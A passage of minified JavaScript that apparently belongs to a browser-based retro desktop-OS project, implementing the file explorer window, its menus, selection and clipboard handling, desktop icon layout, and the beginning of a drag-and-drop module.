7403 function x(t) {
7404 if (!t) return W.value = "derp", M.selectedIndex = 0, void _();
7405 var n = $fs.utils.getExt(t),
7406 i = e._get.ext.mime[n];
7407 if (t && n && i) {
7408 for (var o = 0; o < M.length; ++o)
7409 if (M.options[o].value == i) return void(M.value = i);
7410 M.selectedIndex = 0
7411 }
7412 }
7413
7414 function g(e) {
7415 W.value = e, setTimeout(function() {
7416 W.focus(), t.utils.inputSelectFileName(W)
7417 }, 100), v()
7418 }
7419
7420 function y(e, t, n) {
7421 var i = document.createElement("option");
7422 return i.value = e, i.dataset.ext = t, i.innerHTML = $io.str.truncate(n, 30), i.title = n, i
7423 }
7424
7425 function b() {
7426 a(i)
7427 }
7428 arguments.length < 3 && (r = o, o = null), i && "object" != typeof i || (i = (r = i).path || "/"), r || (r = {}), !0 === r.list && (r.viewType = "list"), !0 === r.icons && (r.viewType = "icons"), !0 === r.details && (r.viewType = "details"), !0 === r.workspace && (r.viewType = "workspace");
7429 var w = $extend({}, m, r),
7430 k = i,
7431 C = $fs.utils.getFileName(i);
7432 $fs.utils.isFolder(i) || (i = $fs.utils.getFolderPath(i)), w.save && (w.browse = !0), w.browse && (w.nav = !0), w.save && !w.accept && (w.accept = "*"), w.accept && $extend(w, $fs.utils.parseAccept(w.accept)), p++, w.id = p;
7433 var N = function() {
7434 try {
7435 "foo".localeCompare("bar", "i")
7436 } catch (e) {
7437 return "RangeError" === e.name
7438 }
7439 return !1
7440 }() ? function(e, t) {
7441 return e.localeCompare(t, "latin", {
7442 numeric: !0
7443 })
7444 } : function(e, t) {
7445 return e.localeCompare(t)
7446 },
7447 E = (document.createDocumentFragment(), document.createElement("div")),
7448 L = document.createElement("div"),
7449 A = document.createElement("div"),
7450 P = document.createElement("div"),
7451 I = document.createElement("input"),
7452 T = document.createElement("button"),
7453 O = document.createElement("button"),
7454 S = document.createElement("button"),
7455 F = document.createElement("button"),
7456 D = document.createElement("input");
7457 A.className = "ui_explorer__scrollview", A.style.width = "5px", A.style.height = "100px", A.style.display = "none", E.className = "ui_explorer_container", L.className = w.backgroundClass + " ui_explorer ui_explorer--" + w.viewType, "workspace" !== w.viewType && (L.className += " ui_explorer--not_workspace"), L.id = "ui_explorer_" + p, L.setAttribute("data-id", p), E.appendChild(L);
7458 var M, W, q = $io.fn.debounce(x, 100),
7459 j = t.current = f[p] = {
7460 el: {
7461 folder: L,
7462 scrollView: A
7463 },
7464 cfg: w,
7465 id: p,
7466 go: a,
7467 reorder: function() {
7468 n.call(j, w.viewType)
7469 },
7470 refresh: function(e) {
7471 var t = a(k);
7472 !1 === t && !1 === (t = l()) && a("/"), "function" == typeof e && e()
7473 },
7474 getSaveInput: function() {
7475 return W
7476 },
7477 getSelectionInput: function() {
7478 return D
7479 },
7480 getPath: function() {
7481 return k
7482 },
7483 getWindow: function() {
7484 return K
7485 }
7486 };
7487 if ("string" == typeof o && (o = document.querySelector(o)), w.style && L.setAttribute("style", w.style), L.setAttribute("touch-action", "none"), o) {
7488 var H = document.createElement("div");
7489 o.appendChild(H), $menu(H, $.barMenu, {
7490 keyTarget: L,
7491 thisArg: {
7492 el: L,
7493 explorer: j
7494 }
7495 }), o.appendChild(E), b()
7496 } else {
7497 var R = $extend({
7498 icon: "/c/sys/skins/" + e._settings.skin + "/places/folder.png",
7499 baseClass: "ui_explorer_window"
7500 }, w.window, {
7501 title: i,
7502 html: E,
7503 onactive: function() {
7504 t.current = j
7505 },
7506 onready: function() {
7507 b()
7508 },
7509 onopen: function() {
7510 w.onopen.call(this), w.save && d()
7511 },
7512 onclose: function(e) {
7513 w.nav && T.removeEventListener("click", l, !1), w.nav && S.removeEventListener("click", c, !1), w.nav && F.removeEventListener("click", s, !1), I && I.removeEventListener("keypress", u, !1), w.onclose.call(this, e, D.value), t.current = f[0], f[j.id] = null
7514 }
7515 });
7516 w.nav && (R.afterMenu = function() {
7517 return P.className = "flex ui_explorer__nav" + (w.nav ? "" : " hide"), T.innerHTML = "<", T.className = "skin_outset ui_explorer__nav__prev", S.innerHTML = '<img src="/c/sys/skins/w93/16/home.png">', S.className = "skin_outset ui_explorer__nav__home", O.innerHTML = ">", O.className = "skin_outset ui_explorer__nav__next", F.innerHTML = "Go", F.className = "skin_outset ui_explorer__nav__go", I.type = "text", I.value = i, I.className = "ui_explorer__nav__input flex__fluid", P.appendChild(T), P.appendChild(S), P.appendChild(I), P.appendChild(F), T.addEventListener("click", l, !1), F.addEventListener("click", s, !1), S.addEventListener("click", c, !1), I.addEventListener("keypress", u, !1), P
7518 }(), L.classList.add("ui_explorer--nav")), w.footer && (R.footer = function() {
7519 if (D.type = "text", D.className = "ui_explorer__selected_file" + (w.footer ? "" : " hide"), D.value = i, D.readOnly = !0, w.save) {
7520 var t = document.createElement("label");
7521 W = document.createElement("input"), M = document.createElement("select"), W.type = "text", t.textContent = "Name: ";
7522 var n = {};
7523 if ("*" === w.accept && M.appendChild(document.createElement("option")), (w.mimetype || w.ext) && ($io.arr.all(w.ext, function(t) {
7524 var i = e._get.ext.mime[t];
7525 if (!n[i]) {
7526 var o = $io.obj.getPath(e._get.mime.ext, i, "/");
7527 M.appendChild(y(i, t, (o[1] ? o[1] : i) + " (" + o[0] + ")")), n[i] = !0
7528 }
7529 }), $io.is.reg(w.mimetype))) {
7530 var o = $io.obj.getPath(e._get.mime.ext, w.mimetype, "/");
7531 $io.obj.each(o, function(e, t) {
7532 n[t] || (M.appendChild(y(t, e[0].split(",").shift().replace(".", ""), (e[1] ? e[1] : t) + " (" + e[0] + ")")), n[t] = !0)
7533 })
7534 }
7535 var r = document.createElement("div");
7536 return r.className = "ui_explorer__save_cont ui_combo", W.className = "ui_combo__main", M.style.marginLeft = "2px", r.appendChild(t), r.appendChild(W), r.appendChild(M), r.appendChild(D), r
7537 }
7538 return D
7539 }()), w.menu && (R.menuThisArg = {
7540 el: L,
7541 explorer: j
7542 }, R.menu = $.barMenu), w.browse && (L.classList.add("ui_explorer--browse"), R.title = "explorer", R.btnOk = w.save ? "Save" : "Open", R.btnCancel = "Cancel");
7543 var K = $window.call(this, R)
7544 }
7545 return j
7546}
7547
7548function n(t) {
7549 function n(e, t, i) {
7550 for (var r = 0, a = o.length; r < a; r++)
7551 if (r !== e && o[r].offsetTop === t && o[r].offsetLeft === i) return t + 2 * g > _ ? (t = 0, (i += x) + 2 * x > v && (i = 0, t += g)) : t += g, n(e, t, i);
7552 return {
7553 top: t,
7554 left: i
7555 }
7556 }
7557 var i = Array.prototype.slice;
7558 if ("workspace" === t) {
7559 var o = i.call(this.el.folder.querySelectorAll(".ui_icon"), 0);
7560 window.getComputedStyle(this.el.folder);
7561 if (v = this.el.folder.clientWidth, _ = this.el.folder.clientHeight, x = e._icons.w, g = e._icons.h, o.length)
7562 if (o.length * (x * g) > (v - x) * (_ - g)) this.el.folder.classList.add("ui_explorer--workspace--full");
7563 else {
7564 this.el.folder.classList.remove("ui_explorer--workspace--full"), o.sort(function(t, n) {
7565 var i = e._desktop[t.getAttribute("data-name")],
7566 o = e._desktop[n.getAttribute("data-name")];
7567 if (i && o) return i.time > o.time ? 1 : -1
7568 });
7569 var r = Date.now();
7570 $io.arr.each(o, function(t, n) {
7571 var i = e._desktop[t.getAttribute("data-name")];
7572 i || (i = e._desktop[t.getAttribute("data-name")] = {
7573 x: 0,
7574 y: 0,
7575 time: r + n
7576 });
7577 var o = i.y,
7578 a = i.x;
7579 o + g > _ && (o = Math.floor(_ / g) * g - 2 * g), o < 0 && (o = 0), a + x > v && (a = Math.floor(v / x) * x - x), a < 0 && (a = 0), t.style.position = "absolute", t.style.left = a + "px", t.style.top = o + "px", t.style.zIndex = n
7580 }), $io.arr.each(o, function(t, i) {
7581 var o = n(i, t.offsetTop, t.offsetLeft);
7582 t.style.left = o.left + "px", t.style.top = o.top + "px", e._desktop[t.getAttribute("data-name")] = {
7583 x: o.left,
7584 y: o.top,
7585 time: r + i
7586 }
7587 })
7588 }
7589 }
7590}
7591
7592function i() {
7593 if (!e._selected.length) return !1;
7594 if (r())
7595 for (var t = e._selected.length - 1; t >= 0; t--)
7596 if (e._selected[t].classList.contains("ui_icon__folder")) return !0
7597}
7598
7599function o() {
7600 return !e._selected.length
7601}
7602
7603function r() {
7604 return !t.current || !(0 === t.current.getPath().indexOf("/a/"))
7605}
7606
7607function a() {
7608 return !(!r() && !o())
7609}
7610
7611function l() {
7612 return !(!r() && (t.clipboard.copy.length > 0 || t.clipboard.cut.length > 0))
7613}
7614
7615function s() {
7616 if (this.el) return this.el.classList.contains("ui_icon__lnk42")
7617}
7618
7619function c(e) {
7620 for (var t = ["icons", "column", "list", "details", "workspace"], i = this.explorer.el.folder, o = 0, r = t.length; o < r; o++) i.classList.remove("ui_explorer--" + t[o]);
7621 i.classList.add("ui_explorer--" + e), "workspace" === e ? i.classList.remove("ui_explorer--not_workspace") : i.classList.add("ui_explorer--not_workspace"), this.explorer.cfg.viewType = e, n.call(this.explorer, this.explorer.el.folder)
7622}
7623
7624function u(e, t, n) {
7625 0 === e.indexOf("/a/") ? $prompt("Enter a name", function(i, o) {
7626 i && o && $db.set(e.replace(/^\/a\//, "") + o + (n ? "/" : ""), "", function() {
7627 $file.scan("/a/", function() {
7628 "function" == typeof t && t(o)
7629 })
7630 })
7631 }) : $notif("You don't have write permission on this drive", e)
7632}
7633
7634function d() {
7635 $io.arr.all(document.querySelectorAll(".ui_icon--cut"), function(e) {
7636 e.classList.remove("ui_icon--cut")
7637 })
7638}
7639var p = -1,
7640 f = [],
7641 m = {
7642 viewType: "icons",
7643 nav: !0,
7644 menu: !0,
7645 footer: !0,
7646 save: !1,
7647 browse: !1,
7648 silent: !1,
7649 backgroundClass: "skin_inset_deep skin_light",
7650 onopen: $noop,
7651 onready: $noop,
7652 onclose: $noop,
7653 window: {}
7654 };
7655e._selected = [], e.explorers = f, $el(e._dom.desktop).on("dblclick doubletap", ".ui_explorer .ui_icon:not(.ui_disabled)", function(e) {
7656 var n = this.getAttribute("data-path");
7657 t.setCurrent(this.parentNode, e), this.parentNode.classList.contains("ui_explorer--nav") && n && "/" === n.slice(-1) ? t.current && t.current.go && t.current.go(n) : this.parentNode.classList.contains("ui_explorer--browse") ? t.current && t.current.getWindow && t.current.getWindow().close(!0) : $exe(this) || $notif("No program is assigned to this kind of files")
7658}).on("click _touchstart", ".ui_explorer .ui_disabled", function(e) {
7659 t.setCurrent(this.parentNode, e);
7660 var n = t.current.getSaveInput();
7661 if (n) {
7662 var i = $fs.utils.getExt(n.value);
7663 n.value = $fs.utils.replaceExt(this.getAttribute("data-name"), i)
7664 }
7665 return !1
7666}).on("click _touchstart", ".ui_explorer .ui_icon:not(.ui_disabled)", function(n) {
7667 if (n.shiftKey && "absolute" !== this.style.position) {
7668 var i = e._selected[0];
7669 if (i && i.compareDocumentPosition(this) & Node.DOCUMENT_POSITION_FOLLOWING)
7670 for (o = i; !this.isEqualNode(o); o = o.nextElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o);
7671 else
7672 for (var o = i; !this.isEqualNode(o); o = o.previousElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o)
7673 } else n.ctrlKey || n.shiftKey || (e._selected.length = 0);
7674 var r = e._selected.indexOf(this);
7675 return t.setCurrent(this.parentNode, n), -1 === r ? e._selected.push(this) : e._selected.splice(r, 1), t.selection.display(), this.focus(), !1
7676}).on("mouseup", ".ui_explorer .ui_icon", function(n) {
7677 2 === n.button && (t.setCurrent(this.parentNode, n), this.classList.contains("ui_disabled") || (n.ctrlKey || -1 !== e._selected.indexOf(this) || (e._selected.length = 0), -1 === e._selected.indexOf(this) && e._selected.push(this), t.selection.display()), $.ctxFile.show({
7678 el: this,
7679 explorer: t.current
7680 }, { of: n,
7681 within: e._dom.screen
7682 }))
7683}).on("mousedown dragstart contextmenu", ".ui_explorer .ui_icon img", function(e) {
7684 e.preventDefault()
7685}).on("mouseup _touchstart", ".ui_explorer", function(n) {
7686 t.setCurrent(this, n), $drag.isDragging || !h && this.isEqualNode(n.target || n.srcElement) && (2 === n.button ? (e._selected.length = 0, $.ctxExplorer.show({
7687 el: this,
7688 explorer: t.current
7689 }, { of: n,
7690 within: e._dom.screen
7691 })) : ($route(""), e._selected.length = 0, t.selection.display()))
7692});
7693var h = !1;
7694$box(e._dom.desktop, ".ui_explorer", {
7695 target: ".ui_icon",
7696 onstart: function(e, t) {
7697 h = !0
7698 },
7699 ondraw: function(n, i) {
7700 var o = this.getAttribute("data-id");
7701 n.ctrlKey ? $io.arr.all(i, function(t) {
7702 -1 === e._selected.indexOf(t) && e._selected.push(t)
7703 }) : e._selected = i, t.selection.display(o)
7704 },
7705 onstop: function(e, t) {
7706 h = !1
7707 }
7708});
7709var v, _, x, g, y = {
7710 viewIcons: function() {
7711 c.call(this, "icons")
7712 },
7713 viewList: function(e) {
7714 c.call(this, "list")
7715 },
7716 viewColumn: function() {
7717 c.call(this, "column")
7718 },
7719 viewDetails: function() {
7720 c.call(this, "details")
7721 },
7722 viewWorkspace: function() {
7723 c.call(this, "workspace")
7724 },
7725 viewNavigation: function(e) {
7726 e ? (this.explorer.getWindow().el.afterMenu.classList.remove("hide"), this.explorer.el.folder.classList.add("ui_explorer--nav")) : (this.explorer.el.folder.classList.remove("ui_explorer--nav"), this.explorer.getWindow().el.afterMenu.classList.add("hide")), this.explorer.cfg.nav = e
7727 },
7728 viewFileTree: function(e) {
7729 e ? this.explorer.el.tree.classList.remove("hide") : this.explorer.el.tree.classList.add("hide"), this.explorer.cfg.fileTree = e
7730 },
7731 itemsOpenWith: function(t) {
7732 return !!e._selected.length && $fs.utils.getMenuOpenWith(e._selected)
7733 }
7734};
7735t.clipboard = {
7736 copy: [],
7737 cut: []
7738}, t.exe = {
7739 SelectAll: function() {
7740 e._selected = Array.prototype.slice.call(t.current.el.folder.querySelectorAll(".ui_icon")), t.selection.display()
7741 },
7742 Open: function() {
7743 t.selection.paths(function(e, t) {
7744 $exe(t)
7745 })
7746 },
7747 Copy: function(e, n) {
7748 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7749 t.clipboard.copy.push(e)
7750 })
7751 },
7752 Cut: function() {
7753 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7754 n.classList.add("ui_icon--cut"), t.clipboard.cut.push(e)
7755 })
7756 },
7757 Paste: function() {
7758 d(), $io.arr.all(t.clipboard.copy, function(e) {
7759 $fs.utils.isFolder(e);
7760 $file.copy(e, t.current.getPath(), function(e) {
7761 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7762 })
7763 }), $io.arr.all(t.clipboard.cut, function(e) {
7764 t.clipboard.copy.push(e);
7765 var n = $fs.utils.isFolder(e),
7766 i = t.current.getPath() + $fs.utils.getName(e) + (n ? "/" : "");
7767 e !== i && $file.move(e, i, function() {
7768 t.refresh()
7769 })
7770 }), t.clipboard.cut.length = 0
7771 },
7772 Delete: function() {
7773 t.selection.truePaths(function(e) {
7774 $file.delete(e, function() {
7775 t.refresh(), $notif("File deleted", e)
7776 })
7777 })
7778 },
7779 Import: function() {
7780 $file.upload(function(e) {
7781 $file.save(t.current.getPath(), e, function(e) {
7782 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7783 })
7784 })
7785 },
7786 DownloadAs: function() {
7787 t.selection.paths(function(e) {
7788 $fs.utils.isFolder(e) ? $archive(e) : $file.download(e)
7789 })
7790 },
7791 Zip: function() {
7792 $archive(e._selected)
7793 },
7794 Refresh: function() {
7795 t.refresh()
7796 },
7797 Format: function() {
7798 $file.format(function() {
7799 t.current.go("/a/")
7800 })
7801 },
7802 CreateFolder: function() {
7803 u(t.current.getPath(), function(e) {
7804 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7805 }, !0)
7806 },
7807 CreateFile: function() {
7808 u(t.current.getPath(), function(e) {
7809 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7810 })
7811 },
7812 CreateShortcut: function(n) {
7813 $window.form("Create Shortcut", {
7814 data: n || {},
7815 schema: e._shemas.shortcut
7816 }, function(e, n) {
7817 if (e) {
7818 var i = n.title || $fs.utils.getName(n.exe),
7819 o = t.current.getPath();
7820 $store.set(o.replace(/^\/a\//, "") + i + ".lnk42", n), t.utils.saveIconPos(t.current.getPath(), t.current.id, i + ".lnk42"), t.refresh(i + ".lnk42")
7821 }
7822 })
7823 },
7824 EditShortcut: function(n) {
7825 var i = [];
7826 document.activeElement;
7827 t.selection.all(function(n) {
7828 var o = n.getAttribute("data-path"),
7829 r = (n.getAttribute("data-title"), $fs.utils.getName(o));
7830 $window.form("Edit Shortcut", {
7831 data: $extend({}, n.dataset),
7832 schema: e._shemas.shortcut
7833 }, function(e, n) {
7834 if (e) {
7835 var a = o.replace(/^\/a\//, "");
7836 $store.update(a, function(e) {
7837 return $extend(e, n)
7838 }), i.push(r), t.refresh(i)
7839 }
7840 })
7841 })
7842 },
7843 Properties: function() {
7844 t.selection.all(function(e) {
7845 var t = $form.build($extend({}, e.dataset), {
7846 disabled: !0
7847 });
7848 $window({
7849 title: "Properties",
7850 html: t.el,
7851 width: 400,
7852 btnOk: "Close"
7853 })
7854 })
7855 },
7856 Rename: function() {
7857 var n = [];
7858 document.activeElement;
7859 t.selection.all(function(i) {
7860 var o = i.getAttribute("data-path"),
7861 r = i.getAttribute("data-title"),
7862 a = $fs.utils.getName(o),
7863 l = /\.lnk42$/.test(a),
7864 s = t.current;
7865 $prompt({
7866 msg: "New name ?",
7867 onready: function() {
7868 t.utils.inputSelectFileName(this.el.form.prompt)
7869 }
7870 }, r || a, function(i, r) {
7871 if (i) {
7872 var c = $io.str.truncate(r.replace(/[\/:]/g, "_"), 247);
7873 l && (c += ".lnk42");
7874 $fs.utils.getFolderPath(o);
7875 $file.rename(o, c, function(i) {
7876 if (t.current = s, l) {
7877 var o = i.replace(/^\/a\//, "");
7878 $store.update(o, function(e) {
7879 return e.name = r + ".lnk42", e.title = r, e
7880 })
7881 }
7882 e._desktop[a] && (e._desktop[c] = $extend({}, e._desktop[a]), delete e._desktop[a]), n.push(c), t.refresh(n)
7883 })
7884 }
7885 })
7886 })
7887 },
7888 OpenTerminalHere: function() {
7889 $exe("terminal " + t.current.getPath())
7890 }
7891};
7892var $ = {
7893 barMenu: [{
7894 name: "File",
7895 items: [{
7896 name: "Open",
7897 key: "enter",
7898 action: t.exe.Open,
7899 disabled: o
7900 }, {
7901 name: "Open With...",
7902 items: y.itemsOpenWith,
7903 disabled: o
7904 }, {
7905 name: "---"
7906 }, {
7907 name: "Create Folder...",
7908 key: "ctrl+shift+f",
7909 action: t.exe.CreateFolder,
7910 disabled: r
7911 }, {
7912 name: "Create Document...",
7913 key: "ctrl+shift+d",
7914 action: t.exe.CreateFile,
7915 disabled: r
7916 }, {
7917 name: "Create Shortcut...",
7918 key: "ctrl+shift+s",
7919 action: t.exe.CreateShortcut,
7920 disabled: r
7921 }, {
7922 name: "---"
7923 }, {
7924 name: "Import file",
7925 action: t.exe.Import,
7926 disabled: r
7927 }, {
7928 name: "Download file(s)",
7929 action: t.exe.DownloadAs,
7930 disabled: i
7931 }, {
7932 name: "---"
7933 }, {
7934 name: "Open Terminal here",
7935 action: t.exe.OpenTerminalHere
7936 }, {
7937 name: "---"
7938 }, {
7939 name: "Quit",
7940 action: function() {
7941 winInstance && winInstance.close && winInstance.close()
7942 }
7943 }]
7944 }, {
7945 name: "Edit",
7946 items: [{
7947 name: "Select all",
7948 key: "ctrl+a",
7949 action: t.exe.SelectAll
7950 }, {
7951 name: "---"
7952 }, {
7953 name: "Cut",
7954 key: "ctrl+x",
7955 action: t.exe.Cut,
7956 disabled: a
7957 }, {
7958 name: "Copy",
7959 key: "ctrl+c",
7960 action: t.exe.Copy,
7961 disabled: a
7962 }, {
7963 name: "Paste",
7964 key: "ctrl+v",
7965 action: t.exe.Paste,
7966 disabled: l
7967 }, {
7968 name: "---"
7969 }, {
7970 name: "Rename",
7971 key: "f2",
7972 action: t.exe.Rename,
7973 disabled: a
7974 }, {
7975 name: "Delete",
7976 key: "del",
7977 action: t.exe.Delete,
7978 disabled: a
7979 }]
7980 }, {
7981 name: "View",
7982 items: [{
7983 name: "Refresh",
7984 action: t.exe.Refresh
7985 }, {
7986 name: "---"
7987 }, {
7988 name: "Navigation",
7989 checkbox: !0,
7990 action: y.viewNavigation,
7991 selected: function() {
7992 return this.explorer.cfg.nav
7993 }
7994 }, {
7995 name: "---"
7996 }, {
7997 name: "Icons",
7998 radio: "View",
7999 action: y.viewIcons,
8000 selected: function() {
8001 return "icons" === this.explorer.cfg.viewType
8002 }
8003 }, {
8004 name: "List",
8005 radio: "View",
8006 action: y.viewList,
8007 selected: function() {
8008 return "list" === this.explorer.cfg.viewType
8009 }
8010 }]
8011 }],
8012 ctxFile: $menu([{
8013 name: "Open",
8014 action: t.exe.Open
8015 }, {
8016 name: "Open With...",
8017 items: y.itemsOpenWith,
8018 disabled: o
8019 }, {
8020 name: "Download As...",
8021 action: t.exe.DownloadAs,
8022 disabled: i
8023 }, {
8024 name: "---"
8025 }, {
8026 name: "Cut",
8027 key: "ctrl+x",
8028 action: t.exe.Cut,
8029 disabled: a
8030 }, {
8031 name: "Copy",
8032 key: "ctrl+c",
8033 action: t.exe.Copy,
8034 disabled: a
8035 }, {
8036 name: "---"
8037 }, {
8038 name: "Rename",
8039 key: "f2",
8040 action: t.exe.Rename,
8041 disabled: a
8042 }, {
8043 name: "Delete",
8044 key: "del",
8045 action: t.exe.Delete,
8046 disabled: a
8047 }, {
8048 name: "---"
8049 }, {
8050 name: "Edit",
8051 display: s,
8052 action: t.exe.EditShortcut,
8053 disabled: a
8054 }, {
8055 name: "Properties",
8056 action: t.exe.Properties
8057 }])
8058};
8059$.ctxExplorer = $menu([{
8060 name: "Create Folder...",
8061 action: t.exe.CreateFolder,
8062 disabled: r
8063}, {
8064 name: "Create Document...",
8065 action: t.exe.CreateFile,
8066 disabled: r
8067}, {
8068 name: "Create Shortcut...",
8069 action: t.exe.CreateShortcut,
8070 disabled: r
8071}, {
8072 name: "---"
8073}, {
8074 name: "Paste",
8075 key: "ctrl+v",
8076 action: t.exe.Paste,
8077 disabled: l
8078}, {
8079 name: "---"
8080}, {
8081 name: "Open Terminal here",
8082 action: t.exe.OpenTerminalHere
8083}]), t.selection = {
8084 reset: function() {
8085 return e._selected.length = 0, this
8086 },
8087 add: function(t) {
8088 return e._selected.push(t), this
8089 },
8090 all: function(t) {
8091 return $io.arr.all(e._selected, t), this
8092 },
8093 each: function(t) {
8094 return $io.arr.each(e._selected, t), this
8095 },
8096 paths: function(t) {
8097 return $io.arr.all(e._selected, function(e) {
8098 var n = $extend({}, e.dataset),
8099 i = e.getAttribute("data-exe"),
8100 o = e.getAttribute("data-path"),
8101 r = $fs.utils.exist(i) ? i : o;
8102 return t.call(n, r, e)
8103 }), this
8104 },
8105 truePaths: function(t) {
8106 return $io.arr.all(e._selected, function(e) {
8107 var n = $extend({}, e.dataset),
8108 i = e.getAttribute("data-path");
8109 return t.call(n, i, e)
8110 }), this
8111 },
8112 remove: function() {
8113 return $io.arr.all(document.querySelectorAll(".ui_icon.ui_selected"), function(e) {
8114 e.classList.remove("ui_selected")
8115 }), this
8116 },
8117 display: function() {
8118 var n = [];
8119 if (t.selection.remove(), $io.arr.all(e._selected, function(t) {
8120 var i = t.getAttribute("data-path");
8121 i && n.push(e._selected.length > 1 ? '"' + i + '"' : i), t && t.classList.add("ui_selected")
8122 }), t.current) {
8123 var i = t.current.getSaveInput();
8124 if (i) i && n && n[0] && (i.value = $fs.utils.getFileName(n[0]), $el(i).trigger("change"));
8125 else {
8126 var o = t.current.getSelectionInput();
8127 o && (o.value = n.join(", \n") || t.current.getPath())
8128 }
8129 }
8130 return this
8131 }
8132}, t.instances = f;
8133var b, w;
8134t.setCurrent = function(e, n) {
8135 var i = f[1 === e.nodeType ? 1 * e.getAttribute("data-id") : e];
8136 return i && (t.current = i), 0 === t.current.id && n && (b = n.clientX, w = n.clientY), i
8137}, t.utils = {}, t.utils.inputSelectFileName = function(e) {
8138 if (/\.[a-z0-9]{1,20}$/.test(e.value)) {
8139 var t = e.value.lastIndexOf(".");
8140 t > -1 && $selection.create(e, 0, t)
8141 } else e.select()
8142}, t.utils.saveIconPos = function(t, n, i, o, r) {
8143 o = "number" == typeof o ? o : b - e._icons.w / 2, r = "number" == typeof r ? r : w - e._icons.h / 2, (i = i ? $fs.utils.getName(i) : $fs.utils.getName(t)) && $fs.utils.getFolderPath(t) === e._path.desktop && (e._desktop[i] = 1 * n == 0 && 1 * o === o && 1 * r === r ? {
8144 x: o,
8145 y: r,
8146 time: Date.now()
8147 } : {
8148 x: 9999,
8149 y: 0,
8150 time: 0
8151 })
8152}, t.refresh = function(e, n) {
8153 $file.scan("/a/", function() {
8154 $io.arr.all(f, function(e) {
8155 e && e.refresh()
8156 }), "string" == typeof e && (e = [e]), e && e.length && (n = n || e[0], t.selection.reset(), $io.arr.all(e, function(e) {
8157 var i = t.current.el.folder.querySelector('div[data-name="' + e + '"]');
8158 i && (n === e && i.focus(), t.selection.add(i))
8159 }), t.selection.display())
8160 })
8161}, window.$explorer = t
8162});
8163//os/sys/explorer.drop.js
8164system42.on("explorer:ready", function(e) {
8165function t() {
8166 if (p.length)
8167 for (var e = 0, t = p.length; e < t; e++) {
8168 p[e].el;
8169 var n, o, a = p[e].ghost,
8170 r = p[e].rect;
8171 g ? (o = $drag.y - h.y * e, n = $drag.x - h.x * e) : $key.r ? (o = r.top - Math.random() * (f.top - $drag.y), n = r.left - Math.random() * (f.left - $drag.x)) : (o = r.top - (f.top - $drag.y), n = r.left - (f.left - $drag.x)), $key.space && (n = ~~((n + u.grid[0] / 2) / u.grid[0]) * u.grid[0], o = ~~((o + u.grid[1] / 2) / u.grid[1]) * u.grid[1]), a.style.top = o + "px", a.style.left = n + "px"
8172 }
8173}
8174
8175function n(e) {
8176 for (var t = 0, n = p.length; t < n; t++) e(p[t].el, p[t].ghost, p[t].rect, p[t], t)
8177}
8178
8179function o() {
8180 p.length = 0, f = null, g = !1, h.x = 0, h.y = 0
8181}
8182
8183function a(e) {
8184 m && n(!0 === e || e.ctrlKey || e.shiftKey ? function(e, t) {
8185 t.style.opacity = ".6", e.classList.remove("hide")
8186 } : function(e, t) {
8187 t.style.opacity = "1", e.classList.add("hide")
8188 })
8189}
8190
8191function r(e, t) {
8192 t.classList.contains("ui_explorer--not_local") && t.classList.add("ui_dropzone--no-drop"), t.classList.add("ui_dropzone"), $drag.elem.parentNode !== t && t.classList.add("ui_dropzone--droppable")
8193}
8194
8195function i(e) {
8196 e.classList.remove("ui_dropzone"), e.classList.remove("ui_dropzone--copy"), e.classList.remove("ui_dropzone--move"), e.classList.remove("ui_dropzone--link"), e.classList.remove("ui_dropzone--droppable"), e.classList.remove("ui_dropzone--no-drop")
8197}
8198
8199function s(e) {
8200 e && e.parentNode && e.parentNode === document.body && document.body.removeChild(e)
8201}
8202
8203function l(e, t, n) {
8204 $transition.revert(t, {
8205 x: n.left,
8206 y: n.top
8207 }, function() {
8208 e.classList.remove("hide"), t && t.parentNode && t.parentNode === document.body && document.body.removeChild(t)
8209 })
8210}
8211
8212function c(t, n) {
8213 var a, r, i = [];
8214 if (t.classList.contains("ui_explorer--local") ? (r = $explorer.instances[1 * t.getAttribute("data-id")], a = r.getPath()) : a = t.getAttribute("data-exe"), a) {
8215 $state.loading();
8216 var l, c = Date.now();
8217 $io.arr.enum([p], function(t, o, d) {
8218 var u = t.el.getAttribute("data-path"),
8219 p = $fs.utils.isFolder(u),
8220 f = a + t.el.getAttribute("data-name") + (p ? "/" : "");
8221 try {
8222 n.call(t, u, f, a, function(n) {
8223 var a = $fs.utils.getName(n);
8224 t.focus && (l = a), i.push(a), r && 0 === r.id && (e._desktop[a] = {
8225 x: parseInt(t.ghost.style.left),
8226 y: parseInt(t.ghost.style.top),
8227 time: c - o
8228 }), d()
8229 })
8230 } catch (e) {
8231 d(), $alert.error(e)
8232 }
8233 s(t.ghost)
8234 }).done(function() {
8235 $explorer.refresh(i, l), $state.loaded(), o()
8236 })
8237 } else $notif("You don't have write permission on this drive"), y.cancel()
8238}
8239
8240function d() {
8241 Date.now();
8242 var e = new Image,
8243 t = document.createElement("div");
8244 t.style.cssText = "position: absolute;top: 0px;bottom: 0px;left: 0px;right: 0px;width: auto;height: auto;background: center center / cover no-repeat transparent;z-index: 999999;-ms-interpolation-mode: nearest-neighbor;image-rendering: -webkit-optimize-contrast;image-rendering: -moz-crisp-edges;image-rendering: -o-pixelated;image-rendering: pixelated;cursor: none;", document.body.appendChild(t), e.onload = function(e) {
8245 t.style.backgroundImage = 'url("/d/papy.gif")', setTimeout(function() {
8246 document.body.removeChild(t)
8247 }, 2500)
8248 }, e.src = "/d/papy.gif"
8249}
8250$key().combo({
8251 left: function() {
8252 p.length && (g = !0, h.x += 2, t())
8253 },
8254 right: function() {
8255 p.length && (g = !0, h.x -= 2, t())
8256 },
8257 up: function() {
8258 p.length && (g = !0, h.y += 2, t())
8259 },
8260 down: function() {
8261 p.length && (g = !0, h.y -= 2, t())
8262 },
8263 esc: function() {
8264 p.length && (g = !1, h = {
8265 x: 0,
8266 y: 0
8267 }, t())
8268 }
8269});
8270var u = {
8271 grid: [e._icons.w, e._icons.h]
8272 },
8273 p = [],
8274 f = null,
8275 g = !1,
8276 h = {
8277 x: 0,
8278 y: 0
8279 },
8280 m = !1,
8281 $ = $io.fn.throttle(a, 100),
8282 x = !1;
8283$drag(e._dom.screen, ".ui_explorer--local .ui_icon", {
8284 ghost: !0,
